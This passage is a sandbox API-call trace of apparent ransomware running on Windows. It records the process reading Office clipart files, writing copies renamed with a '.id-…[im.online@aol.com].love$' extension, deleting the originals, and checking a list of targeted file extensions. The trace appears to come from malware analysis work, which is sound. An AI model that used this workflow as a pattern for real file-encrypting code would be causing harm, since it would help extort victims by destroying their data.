SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.806] SetEndOfFile (hFile=0x2d8) returned 1 [0121.807] CloseHandle (hObject=0x2d8) returned 1 [0121.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0121.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.808] lstrlenW (lpString=".doc") returned 4 [0121.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.808] lstrlenW (lpString=".docx") returned 5 [0121.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.808] lstrlenW (lpString=".pdf") returned 4 [0121.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.808] lstrlenW (lpString=".xls") returned 4 [0121.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.808] lstrlenW (lpString=".xlsx") returned 5 [0121.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.808] lstrlenW (lpString=".ppt") returned 4 [0121.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.808] lstrlenW (lpString=".zip") returned 4 [0121.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.809] lstrlenW (lpString=".rar") returned 4 [0121.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.809] lstrlenW (lpString=".bz2") returned 4 [0121.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.809] lstrlenW (lpString=".7z") returned 3 [0121.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.809] lstrlenW (lpString=".dbf") returned 4 [0121.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.809] lstrlenW (lpString=".1cd") returned 4 [0121.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.809] lstrlenW (lpString=".jpg") returned 4 [0121.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.809] lstrlenW (lpString=".doc") returned 4 [0121.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.809] lstrlenW (lpString=".docx") returned 5 [0121.809] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.809] lstrlenW (lpString=".pdf") returned 4 [0121.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.809] lstrlenW (lpString=".xls") returned 4 [0121.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.809] lstrlenW (lpString=".xlsx") returned 5 [0121.809] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.810] lstrlenW (lpString=".ppt") returned 4 [0121.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.810] lstrlenW (lpString=".zip") returned 4 [0121.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.810] lstrlenW (lpString=".rar") returned 4 [0121.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.810] lstrlenW (lpString=".bz2") returned 4 [0121.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.810] lstrlenW (lpString=".7z") returned 3 [0121.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.810] lstrlenW (lpString=".dbf") returned 4 [0121.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.810] lstrlenW (lpString=".1cd") returned 4 [0121.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0121.810] lstrlenW (lpString=".jpg") returned 4 [0121.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.810] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.810] lstrlenW (lpString="AN04323_.WMF") returned 12 [0121.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.811] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2492) returned 1 [0121.811] CloseHandle (hObject=0x2d8) returned 1 [0121.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0121.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.811] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.812] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0121.812] GetLastError () returned 0x0 [0121.812] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0122.002] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0122.003] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.004] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.004] SetEndOfFile (hFile=0x34c) returned 1 [0122.042] CloseHandle (hObject=0x34c) returned 1 [0122.081] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.081] SetEndOfFile (hFile=0x2d8) returned 1 [0122.082] CloseHandle (hObject=0x2d8) returned 1 [0122.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0122.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.083] lstrlenW (lpString=".doc") returned 4 [0122.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.083] lstrlenW (lpString=".docx") returned 5 [0122.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.083] lstrlenW (lpString=".pdf") returned 4 [0122.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.083] lstrlenW (lpString=".xls") returned 4 [0122.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.084] lstrlenW (lpString=".xlsx") returned 5 [0122.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.084] lstrlenW (lpString=".ppt") returned 4 [0122.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.084] lstrlenW (lpString=".zip") returned 4 [0122.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.084] lstrlenW (lpString=".rar") returned 4 [0122.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.084] lstrlenW (lpString=".bz2") returned 4 [0122.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.084] lstrlenW (lpString=".7z") returned 3 [0122.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.084] lstrlenW (lpString=".dbf") returned 4 [0122.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.084] lstrlenW (lpString=".1cd") returned 4 [0122.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.084] lstrlenW (lpString=".jpg") returned 4 [0122.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.084] lstrlenW (lpString=".doc") returned 4 [0122.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.085] lstrlenW (lpString=".docx") returned 5 [0122.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.085] lstrlenW (lpString=".pdf") returned 4 [0122.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.085] lstrlenW (lpString=".xls") returned 4 [0122.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.085] lstrlenW (lpString=".xlsx") returned 5 [0122.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.085] lstrlenW (lpString=".ppt") returned 4 [0122.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.085] lstrlenW (lpString=".zip") returned 4 [0122.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.085] lstrlenW (lpString=".rar") returned 4 [0122.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.085] lstrlenW (lpString=".bz2") returned 4 [0122.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.085] lstrlenW (lpString=".7z") returned 3 [0122.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.085] lstrlenW (lpString=".dbf") returned 4 [0122.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.085] lstrlenW (lpString=".1cd") returned 4 [0122.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0122.086] lstrlenW (lpString=".jpg") returned 4 [0122.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.086] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.086] lstrlenW (lpString="BD00155_.WMF") returned 12 [0122.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.086] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11636) returned 1 [0122.086] CloseHandle (hObject=0x2d8) returned 1 [0122.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0122.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.087] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.087] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0122.088] GetLastError () returned 0x0 [0122.088] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x2d74, lpOverlapped=0x0) returned 1 [0122.090] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0122.092] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.092] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.092] SetEndOfFile (hFile=0x34c) returned 1 [0122.092] CloseHandle (hObject=0x34c) returned 1 [0122.097] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.097] SetEndOfFile (hFile=0x2d8) returned 1 [0122.098] CloseHandle (hObject=0x2d8) returned 1 [0122.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0122.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.099] lstrlenW (lpString=".doc") returned 4 [0122.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.099] lstrlenW (lpString=".docx") returned 5 [0122.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.099] lstrlenW (lpString=".pdf") returned 4 [0122.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.099] lstrlenW (lpString=".xls") returned 4 [0122.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.099] lstrlenW (lpString=".xlsx") returned 5 [0122.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.099] lstrlenW (lpString=".ppt") returned 4 [0122.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.100] lstrlenW (lpString=".zip") returned 4 [0122.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.100] lstrlenW (lpString=".rar") returned 4 [0122.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.100] lstrlenW (lpString=".bz2") returned 4 [0122.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.100] lstrlenW (lpString=".7z") returned 3 [0122.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.100] lstrlenW (lpString=".dbf") returned 4 [0122.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.100] lstrlenW (lpString=".1cd") returned 4 [0122.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.100] lstrlenW (lpString=".jpg") returned 4 [0122.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.100] lstrlenW (lpString=".doc") returned 4 [0122.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.100] lstrlenW (lpString=".docx") returned 5 [0122.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.100] lstrlenW (lpString=".pdf") returned 4 [0122.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.101] lstrlenW (lpString=".xls") returned 4 [0122.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.101] lstrlenW (lpString=".xlsx") returned 5 [0122.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.101] lstrlenW (lpString=".ppt") returned 4 [0122.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.101] lstrlenW (lpString=".zip") returned 4 [0122.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.101] lstrlenW (lpString=".rar") returned 4 [0122.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.101] lstrlenW (lpString=".bz2") returned 4 [0122.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.101] lstrlenW (lpString=".7z") returned 3 [0122.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.101] lstrlenW (lpString=".dbf") returned 4 [0122.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.101] lstrlenW (lpString=".1cd") returned 4 [0122.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0122.101] lstrlenW (lpString=".jpg") returned 4 [0122.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.102] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.102] lstrlenW (lpString="BD00160_.WMF") returned 12 [0122.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.102] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=22516) returned 1 [0122.102] CloseHandle (hObject=0x2d8) returned 1 [0122.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0122.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.103] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.103] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0122.103] GetLastError () returned 0x0 [0122.103] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0122.106] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x5800, lpOverlapped=0x0) returned 1 [0122.108] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.108] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.108] SetEndOfFile (hFile=0x34c) returned 1 [0122.108] CloseHandle (hObject=0x34c) returned 1 [0122.295] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.296] SetEndOfFile (hFile=0x2d8) returned 1 [0122.313] CloseHandle (hObject=0x2d8) returned 1 [0122.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.313] DeleteFileW (lpFileName="C:\\Program 